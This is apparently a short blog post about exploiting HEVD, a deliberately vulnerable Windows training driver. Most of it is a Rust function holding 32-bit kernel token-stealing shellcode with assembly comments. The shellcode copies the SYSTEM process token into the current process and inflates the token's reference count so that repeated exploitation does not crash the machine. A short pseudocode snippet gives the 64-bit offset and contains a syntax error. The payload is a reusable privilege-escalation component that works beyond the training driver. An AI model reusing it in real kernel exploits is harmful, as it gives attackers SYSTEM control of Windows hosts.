Hello,

I’ve been playing a bit with HEVD and it is indeed a fun challenge.

I will publish my multi-exploit but I won’t detail exploitation as there is a lot of documentation on the techniques used already.

The part that is surprising though is that the token stealing payload not updating the reference counter is a well known issue all around … but I haven’t seen a public payload that fixes it.

The payload

It is written in assembly but I used it in Rust :).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
fn get_payload_token_stealing (payload_end : &[u8]) -> Vec<u8> {
    let mut token_stealing_payload : Vec<u8> = vec![
            0x60,                                       // pushad
            // Get nt!_KPCR.PcrbData.CurrentThread
            0x31, 0xc0,                                 // xor eax,eax
            0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00,   // mov eax,[fs:eax+0x124]
            // Get nt!_KTHREAD.ApcState.Process
            0x8b, 0x40, 0x50,                           // mov eax,[eax+0x50]
            0x89, 0xc1,                                 // mov ecx,eax
            0xba, 0x04, 0x00, 0x00, 0x00,               // mov edx,0x4
            // lookup for the system eprocess
            0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,         // mov eax,[eax+0xb8]
            0x2d, 0xb8, 0x00, 0x00, 0x00,               // sub eax,0xb8
            0x39, 0x90, 0xb4, 0x00, 0x00, 0x00,         // cmp [eax+0xb4],edx
            0x75, 0xed,                                 // jnz 0x1a

            // get the system token
            0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00,         // mov edx,[eax+0xf8]
            // patch it in our current eprocess
            0x89, 0x91, 0xf8, 0x00, 0x00, 0x00,         // mov [ecx+0xf8],edx

            // Increment the token reference count.
            // The PointerCount gets decremented when the process exit.
            // If it arrives to 0,
            // the SYSTEM TOKEN is freed and this causes a BSoD.
            // Here we won't get that BSoD,
            // since we "properly" increase the PointerCount.
            // OBJECT_HEADER.PointerCount
            0xb9, 0x07, 0x00, 0x00, 0x00,               // mov ecx, 7
            0xf7, 0xd1,                                 // not ecx
            0x21, 0xca,                                 // and edx, ecx
            // TOKEN-0x18 = Token Object Header
            0x83, 0xea, 0x18,                           // sub edx, 0x18
            // patch PointerCount
            // set it to a high value
            0xc7, 0x02, 0x00, 0x00, 0x01, 0x00,         // mov dword ptr [edx], 0x10000

            // set NTSTATUS to 0
            0x31, 0xc0,                                 // xor eax,eax               \

            0x61,                                       // popad                     \
    ];

    for byte in payload_end.iter() {
        token_stealing_payload.push(*byte);
    }

    token_stealing_payload
}

So what it does after stealing the token is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
// there are no condition in the ASM but showing how it can be done in 32 and 64 bits
_OBJECT_HEADER *hdr;
if (arch == 32) {
    hdr = (uint8_t *) pToken - 0x18;
}
else (arch == 64 {
    hdr = (uint8_t *) pToken - 0x30;
}
else {
// fail
}

hdr->PointerCount = 0x10000;

Why is it important to update that reference counter?

When your NT_AUTHORITY/SYSTEM shell is closed/exited, that counter is decremented. As soon as it reaches 0, the token is freed but it is still used by the SYSTEM process. That’s part of why we get a BSoD if that’s not taken cared of.

Conclusion

That’s it, you can now exploit successfully multiple times without fearing a BSoD due to a BAD_POINTER_REFERENCE error ;).

Cheers,

m_101

References